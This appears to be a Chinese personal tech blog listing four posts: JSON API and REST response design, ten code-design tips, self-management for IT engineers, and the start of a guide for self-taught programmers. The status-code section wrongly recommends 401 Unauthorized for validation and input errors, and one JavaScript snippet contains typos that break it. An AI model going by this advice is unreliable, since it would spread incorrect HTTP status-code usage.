  • RESTful没有定义body中内容传输的格式,有另外的规范来描述怎么设计body的数据结构,网络上有些文章对RESTful的范围理解有差异

JSON API

因为RESTful风格仅仅规定了URL和HTTP Method的使用,并没有定义body中数据格式的。我们怎么定义请求或者返回对象的结构,以及该如何针对不同的情况返回不同的HTTP 状态码?
同样的,这个世界上已经有人注意到这个问题,有一份叫做JSON API开源规范文档描述了如何传递数据的格式,JSON API最早来源于Ember Data(Ember是一个JavaScript前端框架,在框架中定义了一个通用的数据格式,后来被广泛认可)。

JSON已经是最主流的网络传输格式,因此本文默认JSON作为传输格式来讨论后面的话题。JSONAPI尝试去提供一个非常通用的描述数据资源的格式,关于记录的创建、更新和删除,因此要求在前后端均容易实现,并包含了基本的关系类型。个人理解,它的设计非常接近数据库ORM输出的数据类型,和一些Nosql(例如MongoDB)的数据结构也很像,从而对前端开发者来说拥有操作数据库或数据集合的体验。另外一个使用这个规范的好处是,已经有大量的库和框架做了相关实现,例如,backbone-jsonapi ,json-patch。
没有必要把JSON API文档全部搬过来,这里重点介绍常用部分内容。

MIME 类型

JSON API数据格式已经被IANA机构接受了注册,因此必须使用application/vnd.api+json类型。客户端请求头中Content-Type应该为application/vnd.api+json,并且在Accept中也必须包含application/vnd.api+json。如果指定错误服务器应该返回415或406状态码。

JSON文档结构

在顶级节点使用data、errors、meta,来描述数据、错误信息、元信息,注意data和errors应该互斥,不能再一个文档中同时存在,meta在项目实际上用的很少,只有特别情况才需要用到,比如返回服务器的一些信息。

hateos.png

data属性

一个典型的data的对象格式,我们的有效信息一般都放在attributes中。

json.png

  • id显而易见为唯一标识,可以为数字也可以为hash字符串,取决于后端实现
  • type 描述数据的类型,可以对应为数据模型的类名
  • attributes 代表资源的具体数据
  • relationships、links为可选属性,用来放置关联数据和资源地址等数据

errors属性

这里的errors和data有一点不同,一般来说返回值中errors作为列表存在,因为针对每个资源可能出现多个错误信息。最典型的例子为,我们请求的对象中某些字段不符合验证要求,这里需要返回验证信息,但是HTTP状态码会使用一个通用的401,然后把具体的验证信息在errors给出来。

image

在title字段中给出错误信息,如果我们在本地或者开发环境想打出更多的调试堆栈信息,我们可以增加一个detail字段让调试更加方便。需要注意的一点是,我们应该在生产环境屏蔽部分敏感信息,detail字段最好在生产环境不可见。

常用的返回码

返回码这部分是我开始设计API最感到迷惑的地方,如果你去查看HTTP协议文档,文档上有几十个状态码让你无从下手。实际上我们能在真实环境中用到的并不多,这里会介绍几个典型的场景。

200 OK

200 是一个最常用的状态码用来表示请求成功,例如GET请求到某一个资源,或者更新、删除某资源。 需要注意的是使用POST创建资源应该返回201表示数据被创建。

201 Created

如果客户端发起一个POST请求,在RESTful部分我们提到,POST为创建资源,如果服务器处理成功应该返回一个创建成功的标志,在HTTP协议中,201为新建成功的状态。文档规定,服务器必须在data中返回id和type。 下面是一个HTTP的返回例子:

image

在HTTP协议中,2XX的状态码都表示成功,还有202、204等用的较少,就不做过多介绍了,4XX返回客户端错误,会重点介绍。

401 Unauthorized

如果服务器在检查用户输入的时候,需要传入的参数不能满足条件,服务器可以给出401错误,标记客户端错误,需要客户端自查。

415 Unsupported Media Type

当服务器媒体类型Content-Type和Accept指定错误的时候,应该返回415。

403 Forbidden

当客户端访问未授权的资源时,服务器应该返回403要求用户授权信息。

404 Not Found

这个太常见了,当指定资源找不到时服务器应当返回404。

500 Internal Server Error

当服务器发生任何内部错误时,应当返回500,并给出errors字段,必要的时候需要返回错误的code,便于查错。一般来说,500错误是为了区分4XX错误,包括任何服务器内部技术或者业务异常都应该返回500。

HATEOAS

这个时候有些了解过HATEOAS同学会觉得上面的links和HATEOAS思想很像,那么HATEOAS是个什么呢,为什么又有一个陌生的名词要学。 实际上HATEOAS算作被JSON API定义了的一部分,HATEOAS思想是既然Restful是利用HTTP协议来进行增删改查,那我们怎么在没有文档的情况下找到这些资源的地址呢,一种可行的办法就是在API的返回体里面加入导航信息,也就是links。这样就像HTML中的A标签实现了超文本文档一样,实现了超链接JSON文档。

超链接JSON文档是我造的一个词,它的真是名字是Hypermedia As The Engine Of Application State,中文叫做超媒体应用程序状态的引擎,网上很多讲它。但是它并不是一个很高大上的概念,在RESTful和JSONAPI部分我们都贯穿了HATEOAS思想。下面给出一个典型的例子进一步说明:
如果在某个系统中产品和订单是一对多的关系,那我们给产品的返回值可以定义为:

hateos.png

从返回中我们能得到links中product的的资源地址,同时也能得到orders的地址,这样我们不需要客户端自己拼装地址,就能够得到请求orders的地址。如果我们严格按照HATEOAS开发,客户端只需要在配置文件中定义一个入口地址就能够完成所有操作,在资源地址发生变化的时候也能自动适配。
当然,在实际项目中要使用HATEOAS也要付出额外的工作量(包括开发和前后端联调),HATEOAS只是一种思想,怎么在项目中使用也需要灵活应对了。

参考链接

在文档中还定义了分页、过滤、包含等更多内容,请移步文档:

more >>

良好代码设计的10个经验

良好的代码设计可以大大减少维护的成本和潜在的bug,甚至由于积累效应会决定一个项目能否成功。在常年的codereview和查看面试作业你中发现,良好的设计和糟糕的代码设计的区别十分明显。

总结了几条实用的经验,希望对后面的项目有所帮助。文中例子使用 JavaScript 和 Java,示例仅做演示使用,这些例子都是实际遇到过的,做了一些简化。

software-design.png

快速退出

如果在一个方法中遇到大量的条件判断,正常的情况下都会想到使用嵌套if 语句或者使用 else if,但是这样一来就会出现非常复杂的嵌套。这在维护上带来了很大的麻烦。

function getRecommendedProductCover(user){
    const defaultCover = 'http://xxxx.jpg'
    if(user.type === 'merchant'){
        let product = getRecommendedProductByUser(user.id)
        if(product && product.picture){
            if(product.picture.src){
                return product.picture.src
            }
        }
    }
    return defaultCover
}

我们可以使用逆向思维来解决这个问题,如果条件满足就是用 return 快速退出。

function getRecommendedProductCover(user){
    const defaultCover = 'http://xxxx.jpg'

    if(user.type !== 'merchant'){
        return defaultCover
    }

    let product = getRecommendedProductByUser(user.id)
    if(!product || !product.picture){
        return defaultCover
    }

    if(product.picture.src){
        return product.picture.src
    }else{
        return defaultCover
    }
}

当然还可以使用一些中间变量等方法解决嵌套的问题,这种方式可以让代码看起来更加直观、简洁,有时候也可以避免无意义的数据获取。

消除 if 和 else if

我们看一个前端模板中非常常见的一种写法,我在大量的面试作业中出现。

state = {index: 1};

render() {
    const {index} = this.state;
    return (
        <div className="tab-list">
            <Navigation index={index} onChange={index => this.setState({index})}/>
            {index === 0 && <div>Tab1 content</div>}
            {index === 1 && <div>Tab2 content</div>}
            {index === 2 && <div>Tab3 content</div>}
            {index === 3 && <div>Tab4 content</div>}
        </div>
    );
}

这是我在一份前端作业中遇到的一个标签页切换的例子,短路运算符相当于 if 语句,显然作者把这个列表中每一个元素拿出来做了一次判断。这个逻辑显然使用循环就可以简单优雅的实现。

我们再来看另外一个常见的例子。

function handleErrorMessage(response){
    if(response.status === '401'){
        alert('没有登录')
    }else if(response.status === '403'){
        alert('没有权限')
    }else if(response.status === '500'){
        alert('内部错误')
    }else{
        alert('未知错误')
    }
}

这个例子在前端的项目中非常常见,但不一定是处理错误消息,处理这种场景也非常简单,使用一个Map对象来做一个映射即可大大提高程序的维护性。

下面一个例子更加具有代表性,如果我们需要在页面上预览不同的媒体格式,在 mediaPreview 方法中可能会写的非常复杂。

function mediaPreview(object){
    if(object.type === 'video'){
        ...
    }
    if(object.type === 'picture'){
        ...
    }
    ...
}

这个时候我们可以借助更为高级的设计模式,将不同类型的处理逻辑隔离在单独的模块中,同样可以使用一个Map对象来维护一个具体实现逻辑的列表。

const previewMethods{
    video: function(){
      ...
    },
    picture: function(){
      ...
    }
}
function mediaPreview(object){
    previewMethods[object.type]()
}

是不是看起来像某种设计模式了呢。

分层设计

分层设计是一种经典的程序设计,Java 服务器编程中往往有 presentation、service和dao层,现代前端也会用redux等框架来对数据和视图进行分层。

那什么样的设计是易于维护的分层设计呢?我们先看一个反面的例子。

public class ProductService {
    public void updateProduct(HttpServletRequest httpServletRequest) {
        String queryString = httpServletRequest.getQueryString();
        ...
    }
}

在一次 codereview 中看到这样一段代码,逻辑是需要在service中根据条件更新商品,作者可能为了省事儿,直接把 HttpServletRequest 这个对象在各个参数中直接传递,虽然这样看起来避免了冗余的value object定义,以及减少了参数的数量。但这样做的后果是 ProductService 和 ServletRequest 耦合了,从而造成这个service失去了复用的能力。

layers.png

正确的做法是自定义一个条件类,或者直接把查询条件放到,参数列表上。

public class ProductService {
    public void updateProduct(String productId, String userId) {
        ...
    }
}

回到我们的问题,什么是好的分层设计呢?答案是每个层能被无痛的替换。以在Java 后端中的presentation层为例,一套使用表单和JSP 模板的presentation层,如果具有良好的设计可以容易的被替换成RESTful的API 而不用对service层做任何修改。

软件设计领域,最好的分层设计应该像 TCP/IP 协议族那样,每层都可以有不同的实现,所以我们才能做到WIFI和4G网络都能访问Google。

tcp-ip.png

作用域隔离

前端开发,或者其他弱类型语言如PHP,在模块和包管理上没有语言层面足够的支持。需要特别注意作用域的暴露,先给一个前不久维护一个遗留项目中的一个例子。

其中一个 js 文件中有一个变量

// a.js
var isWebview = (window.navigator.userAgent.indexOf('_APP') !== -1)
if(isWebview){
    ...
}

后来在另外一个 js文件中也定义了isWebview方法,造成冲突。

// b.js
function isWebview(){ 
    return (window.navigator.userAgent.indexOf('_APP') !== -1)
}

由于JavaScript的类型转换 a.js 中的条件判断,就会一直当做 true。

在JavaScript中解决的方法其实很简单,可以使用function创建一个局部作用域空间,这也是前端包管理的基本原理。

!(function(){
    var isWebviewg = (window.navigator.userAgent.indexOf('_APP') !== -1)
    console.log(isWebviewg)

    //  创建一个局部作用域,使用 window 向外部暴露接口
    window.xxx = ...
})

实际上前端开发中尽量应避免使用window对象。

编写一个合格函数

编写函数谁不会,然而我在面试作业中碰到了这样的例子。

public class Utils {
    public void modifyScore(Answer answer) {
        answer.setScore(answer.getScore() + 10)
        ...
    }
}

这是一份 Java 作业,作者编写了一个Util 方法来修改答案的分数,但是这个方不是静态方法,甚至没有返回值,直接对传入的对象进行修改。

var formData = {
    phone:'123456',
    ...
}

function validateForm(){
    var phoneRegx = /xxxx/
    var valid = honeRegx.test(ormData.phone)
    ...
    return valid
}

这是一份 JavaScript 作业,作者拆分了验证表单的方法,但是这个方法访问了外部变量,让这个方法的拆分变得毫无意义。

好的函数或者方法,一定是通过参数获取输入,通过返回值输出数据,函数体内部不应该和外部有任何联系。

程序上下文

在软件开发领域,有一个概念一直没有得到重视,那就是我们编写应用程序就像撰写文章,是有一个上下文存在的。

使用了Spring boot 会产生一个Spring 上下文来管理Beans并提供了其他特性。使用了 Redux 也会存在Redux这样一个上下文。

我们再编写代码时,始终需要意识到这个上下文的存在。才能最大的利用框架和库提供的特性,但是也需要时刻警惕这个上下文中的一些限制。

例如在前端开发中,很多UI框架提供了组件的两种引用方式。一种是全局的载入和配置,第二种是可以局部单独引入构建更为复杂的应用。

在一些遗留的项目中,需要注意多套技术栈共同的存在,项目中往往多个上下文存在。编写一些公用的代码时,尽量剥离上下文的依赖和使用函数式编程,这样可以做到跨上下文复用,也可以未来跨项目使用。

我们一个项目因为历史遗留的问题一些JavaScript使用的ES5编写的,另外一些使用了ES6和打包工具编写的。在一些公共模块就难以做到复用,于是我们只能将ES6的代码从上下文中剥离(例如重新引入依赖库)打包成独立的JS UMD包文件供ES5通过scripts引入。

字符串

在项目中大量拼接字符串,会造成代码的可读性可维护性降低。

例如前端在处理URL时的问题:

const urls = {
    PRODUCTS:'/products/'  
}
function fetchProductDetail(productID){
    return fetch(urls.PRODUCTS+productID)
}

上面的例子中需要拼接详情的URL地址,且无法体现detail资源中的path参数。字符串的处理应该尽量避免使用+操作符链接字符串,而是使用模板来处理,模板可以用任何地方而不只是输出。

这里编写了一个处理URL path 参数的小方法。

const urls = {
    PRODUCTS:'/products/',
    PRODUCTS_DETAIL:'/products/:id'  
}
function fetchProductDetail(productID){
    return fetch(paramsPath(urls.PRODUCTS_DETAIL,productID))
}

function paramsPath(pathString, ...params) {
  let result = pathString
  params.forEach((value) => {
    result = result.replace(/\:\w+/, value)
  })
  return result
}

JavaScript 成熟的模板库非常多,例如Ejs、Handlebars、underscore中template.不要仅仅在视图中使用模板,而是需要处理字符串的地方都可以使用。

理解接口

在项目中我们容易走进一个误区,看到一个场景觉得挺适合一种设计模式的,于是就引入一种设计模式。

首先,很多设计模式之间的区别非常微妙,同一种场景可以使用不同的设计模式实现。例如策略模式和门面模式某些时候很难区分。

其次,有时候我们不需要一个设计模式完整的实现,可以参考这种设计模式的思想做一些定制。

在使用模式之前需要彻底理解的是面向对象,特别是继承和接口。由于JavaScript没有语言层面的的 interface,但实际山接口无处不在。

比如,如果一组信息需要渲染给显示器和打印机等不同的设备,我们可能这样写。

const PrintViewer = {
  render(){
    ...
  }
}

const BrowserViewer = {
  render(){
    ...
  }
}

function render(){
  // 使用工厂方法获取不同的渲染对象
  const reviewer =  this.getViewer()
  reviewer.render(this.data)
}

在前端开发中,如果不使用TypeScript 等类型工具,我们无法做到在语法层面上检查每个 viewer 都有render方法。但是如果想让程序正确运行,我们不得不在团队中约定,viewer 比如提供一个render 方法。

在软件开发中,接口实际上是一种约定。

interface.png

在现实世界中接口是通信设备和零件之间的契约

复用的陷阱

在做前端开发的时候非常容易陷入一个误区,就是把视图拆分成独立的组件,拆分代码这个实践没有问题,但是应该注意为何而拆。

比如我们有一个数据列表页面,这个页面上大致有筛选部分、内容部分、分页部分,在codereview 中看到过一个 vue 的案例,有人把一个也买的呢头部、中部、底部拆分成不同的组件,但是这些组件是当前页面内部和业务相关的,只是不同的部分而已。

拆分之后各个组件的数据又需要通过props和event来传递,带来了额外的负担。

因此我们在组件拆分的时候,需要考虑以下几点:

  1. 拆分出的组件是否和业务有关联,如果和业务关联需要进行剥离
  2. 从业务代码中抽离组件,而不是提前设计组件
  3. 考虑组件拆分的成本和收益,组件拆分后会带来组件之间通信、可读性下降等潜在成本

components.png

起一个好名字

曾经接手过一个遗留项目,这个项目的原作者我猜测应该是广东人,因为变量命名的风格太过于清奇。变量名中不仅有英文简写(不完整的单词例如 btn )、数字和拼音,更为恐怖的是驼峰和下划线混用,甚至拼音都不是普通话。

$sqlus = "xxx";
$rsus = mysql_query($sqlus);
$countus = mysql_fetch_assoc($rsus);
$usercxpass = $countus["cx_pass"] . ',' . $pa_cjh;//车架A
$arr = array($countus["cx_pass"]);//编码数组
$arrsl = explode(",",$countus["cx_shul"]);//品牌查询次数数组
/////////////////pdcxsz////////////////////////
$arrnull = array();//空数组
foreach ($arrsl as $key => $values) {//查询并写入新
    if (strstr($values, $pa_pingp) !== false) {
        array_push($arrnull, $values);
    }
}
if ($arrnull[0] == "" and $countus["cx_date"] == $l_date1) {//日期当前不存在就写入
    $arrsl[] = $pa_pingp . '1';//写入新查询
//  print_r($arrsl);
} elseif ($countus["cx_date"] <> $l_date1) {//日期之前不存在就写入
    $arrsl = array($pa_pingp . '1');//写入新查询
} elseif ($arrnull[0] <> "" and $countus["cx_date"] == $l_date1) {//存在就修改
    $czxincs = substr($arrnull[0], -1);//实已查
    $dqppkey = array_search($arrnull[0], $arrsl);//已查当前分健值
//  echo $czxincs.'<br />';
    $arrsl[$dqppkey] = $pa_pingp . ($czxincs + 1);//更新数组
}

我想上面这段代码几乎没人看懂,所以起一个好的名字对维护性非常重要,所以在变量命名时最好遵循下面的规则:

  1. 使用一种命名风格,驼峰或者下划线
  2. 避免使用拼音和数字
  3. 避免使用缩略词
  4. 注意单词错误、时态和大小写

另外有的时候实在想不出变量名,可以借助一些工具,例如 https://unbug.github.io/codelf/ 提供了浏览器和编辑器插件,可以从开源代码库中搜索一些有用的代码作为参考。

另外一种我比较喜欢的命名方式是参考一些标准写法。“微格式”是一种互联网“潜规则”,用于赋予HTML元素有意义的名字便于第三方应用程序或搜索引擎抓取。所以我在编写前端代码时,参考微格式不用费脑筋设计HTML结构和命名,同时也有让HTML足够语义化。

namming.png

图片来源:https://developer.mozilla.org/en-US/docs/Web/HTML/microformats

more >>

IT工程师的自我管理

工作多年,我们见识到了很多厉害的人,他们可以兼顾家庭和工作,合理安排自己的事务和时间,能冷静的处理突发事件且理智的做出决策,把所有事情安排的妥妥当当。最初我以为这种能力来源于性格、情商甚至是天赋,因为并没有看到任何一本书来教人们做到这些,直到我把视角从普通的生活移到工作中,才发现原来一个能把生活安排的井井有条的人,在工作中往往也是优秀的管理者。

thinking.jpg

管理项目或公司和管理生活有很多共通之处。有些人天生做的很好,但是像我这种普通人则不然。庆幸的是,我们依然能找到一些可行的方法和工具来做的像他们一样,在这篇文章中,我会尝试把公司项目管理的各种方法应用到个人生活中,我划分了不同的小节(收集反馈、决策、时间和任务管理、情绪管理)来阐述这些问题和解决方案,在每个小节的结尾,也会附上我使用过或者推荐的一些工具。

收集反馈和接纳自己

在ThoughtWorks,我学到了一个非常有用的方法,并且可以用到生活中。我们称之为“Feedback”,中文含义为反馈。在公司,收集“Feedback”的精神无处不在,完成一个项目、甚至完成了一次公司内部活动,都会有同事发出调查表单或者邮件来收集意见和反馈。反馈,可以给我们提供改进的方向。

在团队里面,领导或者同事确实会站在不同的角度给予你“Feedback”。在此之外,也可以尝试自我反馈,甚至主动向别人索取反馈。我定了一个日历,来提醒自己在每周一晚上对反馈进行整理。在这小段时间里,让“我”不单单是我,想象自己是另外一个独立的个体,方能更客观和理性的认识自己。

在收集反馈和自我审视当中,非常重要的一点就是客观的接纳自己,从心理学的角度看,更好的安排和管理自己的生活也应该从接纳自己开始,接纳自己的优点或者缺点才能积极的坚持和改变,把一副一般的牌打出精彩效果,这就是管理的哲学。接纳自己的过程和项目经理第一天接手一个遗留项目的感受是一样的,无法改变的东西很多,例如deadline、经费,而能改进的东西更多,像团队热情、开发效率和交付质量等。

优柔寡断、缺乏专注,但是也对很多东西充满热情;和人聊天不够站在对方考虑,但有时候也会幽默;拖延,但是还算勤奋。

这是我给自己的评价,通过这种审视和接纳,我应该能回答一些问题:自己不能改变什么?我能改变什么?哪些事我能做的更好?更进一步,也可以从自己有什么价值、优势和劣势、未来的计划和发展方向、风险怎么管控和人际关系等方面审视自己。

我买了一个白板贴到家里墙上,用来写一些需要经常提醒自己的内容。很简单的一个物件,你可以在淘宝上买到,卖家一般还会赠送黑板擦和白板笔。可以记录你想到的每一个idea和自己的计划、任务清单,甚至给自己写一个座右铭作为自己的slogan。白板在公司非常常见,放在家里可以作为自己的可视化工具,通过写下需要的思考的问题可以打开一个“上帝视角”,帮助我们更为客观的思考。

像公司一样决策

一直很好奇大的公司甚至政府是怎样做出好的决策的,普通人往往是在心里合计一下,然后拍个脑门就成,然而决策每天都在发生,小到出门要不要带伞,见女朋友需不需要买礼物,大到购置资产,投资理财,结婚买房等。“拍脑门决定”显然不是适用于所有场景的。

这里想提一个有意思的东西——易学,周易的功能之一是被古代政府用来决策事务,我曾经了解过一门叫做《奇门遁甲》的易学,这种方法是绘制一张格局图,用天干代表你周围的人际关系、资源,而“甲”就是自己,“遁甲”的意思是需要把自己放到一个客观的位置上来看待,方才能清晰的看待形势和做出正确的决策。

现代管理学中同样对“决策”十分重视,有很多书来阐述这个问题,甚至专门的决策学。其中有一个简单思维工具叫做SWOT,SWOT分析法(也称TOWS分析法、道斯矩阵)即态势分析法,20世纪80年代初由美国旧金山大学的管理学教授韦里克提出,经常被用于企业战略制定、竞争对手分析等场合。

举个例子来说明如何使用这个方法,如果我们需要考虑换工作(毕竟换工作对于任何人来说都是一件重要的事情),根据SWOT我们可以绘制一张表格来对比:

swot.png

SWOT分析法

最后需要注意的就是别忽略沉没成本在一次决策中的影响,沉没成本是一个经典的经济学概念,通俗来说沉没成本就是已经投入的资源。比如一项商务谈判,前期付出的越多,后期也就越难放弃。有意思的是,沉没成本在恋爱中的效应同样明显,爱一个人越多,投入越多,则越难割舍。

对于一般来说,这种分析已经让做出选择的各项因素非常清晰,如果还是问题更加复杂,我们可以为每一项增加权重来做更为细致的思考,当然也更加复杂和浪费时间。因为做出决策本身也是需要成本的,当然也不应该在决策上花了太多的时间,没有完美的决策,简单的事情还是拍脑门儿吧。

任务和时间管理

时间就像海绵,挤挤就有的。我宁愿相信这句话是谎言、鸡汤和毒药,如果时间可以被挤出来,无非两种情况,其一是其他的安排或者娱乐时间被无情的侵占了,其二是你做事的质量被降低了,如果你在洗碗,那么可能不会洗的太干净。

时间需要被管理,任务需要被有序安排。大量的时间管理书籍证明了这一点,去年流行的《暗时间》写的非常好,书中讲述了作者大量的经历和管理时间的方法。

我更愿意把时间管理和任务管理结合到一起,在工作中我们的项目经理也是这样做的,任务管理是项目经理非常重要的一部分,不过我们用的是针对项目的敏捷开发/瀑布流方法,更为复杂和需要团队参与,对于个人而言需要更简化的方法,分为几个步骤:

  1. 任务拆分。 拆分任务使得任务变得更简单可行是众所周知的方法,在笛卡尔的《谈谈方法》中,拆分已经被当做西方哲学和做事思想的内核。

  2. 评估价值。 “评估这项任务是不是真的有价值去做”也许是浪费时间的行为,为什么还需要去做。然而我之前做了很多这种无用的事情,还不如打一把王者荣耀。

  3. 优先级排序。
    我们要把时间挤挤留给优先级高的事情,那么首先我们需要对任务进行排序。

  4. 时间控制。
    每个任务需要预估时间,以便于我们留出一段合适的时间用而不至于被中途打断。

为了管理这些任务,在公司我们有看板,对于个人而言推荐使用一些Todo List 工具。我偏向使用Chrome
上的插件,工具越简单越好,当然很多笔记工具都带有TODO列表。比如印象笔记、有道笔记,或者任何支持Markdown语法的编辑器,如果没有找到合适的工具,给自己桌子上贴一张便笺也行。

如果TODO列表工具有提醒的功能就更完美了,如果没有可以使用一些提醒工具,比如iPhone的手机提醒、Mac上的Calendar APP、适合国人使用习惯的QQ邮箱甚至提醒到微信和手机短信。

在做事的时候,专注可以提高效率,因此一个很有名的工作方法叫做番茄工作法被提出来。这种工作方法因一个番茄形状的厨房用定时器得名,手机上有大量相关应用可以下载。使用该软件可以让你在专注工作25分钟,随后有5分钟的休息时间,但25分钟内你需要保持高度精神集中,了解更多番茄工作法可以阅读《番茄工作法图解》一书。

tomato-working.png

番茄工作法一书封面

知识体系和储备

我是一个程序员,程序员都有一个焦虑,那就是总有一大堆新的技术和工具等着你去学。几个月前我尝试思考如何解决这个问题,随着IT从业者工作的时间的增加,年龄渐长,同时还要面临家庭和其他方面的事务,越来越不可能把所有精力投入到技术的学习中(毕竟还要学习如何预防颈椎病)。

通过观察一些技术强势、但业余爱好也开展的红红火火的IT大拿,发现几点非常有意思的事情。

不同技术创造的价值不同。我们经常谈论是需要专才还是通才,是需要精通某项技术还是博古通今,这种思考方向还是略显片面。无论是刻意还是偶然,有些技术能学习投入更少但是赚更多的钱,学习技术也需要眼光。不得不承认,从一般趋势下,web前端需要了解一堆繁杂的知识但是没有java等后端开发薪资高。

知识像一棵树,需要具备一个体系。这条经验不仅仅适用于IT行业,我们在学习某些东西时,会去网上寻找各种知识清单、书单、技能图谱,我在之前的文章中也介绍过IT行业相关的图谱。对于人脑而言,记忆和学习是线性或者网状的,这也符合我们的认知,零散的知识非常容易遗忘。构建体系的知识,我强烈推荐画图,无论是思维导图(Xmind、MindMap)还是鱼骨图、组织架构图和韦恩图都是很好的方法,甚至构建自己的技术雷达。

tech-radar.png

构建自己的技术雷达

知识需要储备、学习需要有文档产出。在完成一个项目或调研后,公司都会产出一定的文档,每个专业公司都有这样一个资料库,当我们遇到问题的时候可以从中找到相关信息。在工作中我曾经用过禅道、金山云、confluence等,相比之下,禅道不仅仅是一个文档管理工具,更是一个项目管理工具,而金山云文档搜索功能略差,confluence则是一个专业的团队文档管理工具,但是需要付费。

对于个人也一样,学习任何东西都需要有产出,在记笔记之外,写作是一个不错的方式,开通博客或者专栏来让学到的知识能够更好的沉淀,因此我整理了一个在线写作平台的清单:

国内篇

  • 点点轻博客
  • 简书
  • 博客园
  • 知乎专栏

国际篇

  • WordPress
  • Gitbook
  • Wix
  • Blogger

就文档管理而言,如果不希望自己的文档被发布出去,或者认为某些资料不是通常意义上的博客,使用Wikidot编写自己的Wiki来管理文档也不错。如果是程序员的话直接使用Github做文档管理或者给自己搭建一个Wiki,也不是非常难的一件事。

我自己偏爱用Markdown格式来管理自己的文档,因此创建了一个代码仓库用来放置所有文档,然后Hexo发布到github提供的静态资源服务器上供自己查看,有了这些工具和输出之后,我们能知道哪些知识是我们需要的,哪些知识暂时不需要但是在需要的时候能被快速的捡起来。

情绪管理

在第一家公司工作时,我们老板讲了一个故事,曾经因为产品出现问题,很多下级经销商上门闹事要求退款,大多数人情绪十分激动,甚至有人打砸物品,都被老板一一化解。后来来了一个年轻的经销商,笑眯眯的来到公司,淡定非凡,和老板重新聊合同和赔偿的事务,这个人看起来并不生气,只是索取了大量相关资料。据老板讲,这个人应该在收集证据和资料用于后面走法律途经,因为是我们理亏,所以老板做出了让步、答应了他全部的退款条件。

我不知道人类演化出“抱怨”“气愤”“愤怒”等情绪的意义在哪里。当我们在工作中遇到麻烦,第一反应是抱怨;当别人指出我们的错误时,往往第一个动作是怼回去;遇到矛盾,我们会被激怒。但是当我们回顾这些行为本身,会发现抱怨对工作毫无益处,怼回别人的意见对自己也并没有帮助,即使在一场战斗中被激怒的一方往往会处于险镜。

我曾经看过一本书叫《不抱怨的世界》,书中提到一个很好的方法来减少抱怨:佩戴一个手链或者手环,当你意识到自己在抱怨时,交换手环到另外一只手,通过这种微小的心理暗示来矫正自己的不良过激反应。

生气是人的本能,没有谁能完全控制自己,一个好的建议是当我们感到愤怒的时候,请不要做任何行动和决策,先让自己安静下来至少30分钟。心理学上对于不良情绪的管理建议不要对抗不良情绪,而接纳和发泄是更为可行的办法,避免形成强迫行为,我们的目的不是消除负面情绪,而是不让情绪影响到决策,然后使用其他途径进行发泄和疏导。

写在最后

很多时候,管理这个词用到个人身上略显奇怪,对大多数人而言,管理知识如同屠龙之技。其实当把管理的各种方法用到生活中,管理并不是权利、控制和压迫,而是理性思考、引导和推动。管理并不一定是对下属,甚至可以管理上级、爱情和家庭,用各种可以学到的方法、技巧把生活打理的仅仅有条。就像古人“修身齐家治国平天下”,“修身”不正是管理自己么。限于篇幅,我们能从公司运作和管理的哲学中学到更多,希望后面有机会分享给大家。

more >>

写给IT自学者的入门指南

在IT工程师和培训机构多如牛毛的时代,学习编程没什么大不了。但自学编程对于刚入门的同学来说可能是个问题,相信很多自学编程的朋友都有一把辛酸泪,然后逼得他们总结出一肚子的体会。科班出身或接受过培训的工程师可能体会不到,这不能怪谁,这取决于每个人的处境和选择,让我们编一个故事说开这个话题。

故事

某君在一个一般的大学读着自己不喜欢的专业,以打游戏、刷段子或装逼度日,突然有一天想学点什么,学编程好像挺酷,被IT江湖大佬的事迹感动,满满鸡血。在想象了以后自己成功的硅谷人生之后,决定得干。

那么第一个问题来了,我选择什么语言?

难道是世界上最好的语言PHP,还是语言之母的C,幸好还知道有个编程语言排行榜的东西,一看几十种不带重样,这要逼死天秤座的小朋友。选PHP吧上非诚勿扰都要被灭灯,而且就只能做个网页。经过了纠结之后我们选C吧,听起来既高级又底层,说不准还能考个计算机二级。

经过了这一轮的思想斗争之后,正式踏上了C语言学习之路,甚至问家里要了钱,配了台新机器,绝对不是为了游戏。说到这里有同学为了学编程纠结于选择什么样的电脑,这个得批评一下,GUN的创始人,自由软件之父Richard Stallman目前还在使用龙芯笔记本。除了特定平台的需求之外比如IOS和C#等,目前来说学习编程对计算机硬件和系统的要求确实不高了。

接下来得干正事儿了。当然对于网络非常便捷的时代来说,自学选择学习的方式非常丰富。除了在网络上收集一些几个G的电子书或视频教程资料,以及阅读了大量“干货”的攻略之外,某君咨询了一些前辈寻求自学的方法。

网络上流传的学习编程的方式有:

  • 看书,这也是最容易想到的方法
  • 观看视频教程
  • 阅读官网文档
  • 读源码
  • 到大学蹭课或者报名培训(不知道还算不算自学,没交学费都算吧)

某君又得纠结一番了,大学蹭课和培训条件并不一定合适,且不符合自学的气质,前辈们觉得观看视频教程比较low,对于阅读官网文档和源码来说,并不适合初学者。总得来说看书算是比较中肯的方法,至于看什么书呢,前辈推荐了《C Primer Plus》,网友也建议谭浩强自然是不能看了,据说是养成了坏习惯不好改。

cover-studying.jpeg

好吧,不在纠结,直接啃这本大部头,虽然有人说看原版好一些,但是实在能力有限还是看中文版吧。一口气花了一周时间读完了这本书,果然是经典啊,变量、语句、条件判断甚至指针都知道怎么回事了,好像充满力量。某君决定按照书中的说法实践一下了,于是打开了记事本,折腾很久装了GCC,把书上的第一个例子抄了下来,在控制台的小黑窗输出了Hello World,成就感满满。决定写点高级的的东西一试身手,合上书,咦。。为什么会报错,哦,原来少个分号。学了两个月为什么还是只能在这个黑窗口算算秋水仙数。对了,网友说的要看官网文档、要读源码、要看英文原版,我一样都不能做到,我一定是能力不够,编程果然是天才做的事情啊……

正经话

上面的故事是我编的,但相似的事情却在我或你身上发生过。我不算大师来写什么学习编程的方法论,考虑了很久才敢用这样如此大的标题,但是真的不是为了当标题党,那样的话题目应该是《震惊!原来编程该这样学》。
我只是害怕看到很多的初学者,在开始之前便给自己设限,没有选择更为接地气的学习方法,而认为编程是属于精英分子。又或者在各种选择的纠结和碰壁的过程后失去信心,告诉自己做不到,因为我们每个人,即使是行业内的佼佼者,都是曾今的门外汉。其实学编程很多时候就是一个趟坑的过程,但不是每一个坑都是有必要趟

IT世界的地图

大多数的Java书籍,教完你基础的知识和秋水仙数的求法后并没告诉你接下来能干什么。我就是这样,曾经学完Java SE然后做了一个Swing的GUI demo,没有人告诉我Java一般是用来做企业级开发的,于是转去了相对简单的PHP。带着对Java的偏见,成为了一个忧伤的故事。
初学者遇到的一个典型的问题是对IT世界没有一个大的图景,关于这个话题,其实一本书都可能不够,我只能尝试分享一点目前正在流行的技术。

首先回到一些非常基础的知识,基础非常重要,,基础非常重要,基础非常重要!这部分属于计算机科学,也是计算机专业本科应该有的课程,不要伤心错过了这些课程,后面我会分享一些有用的资源。

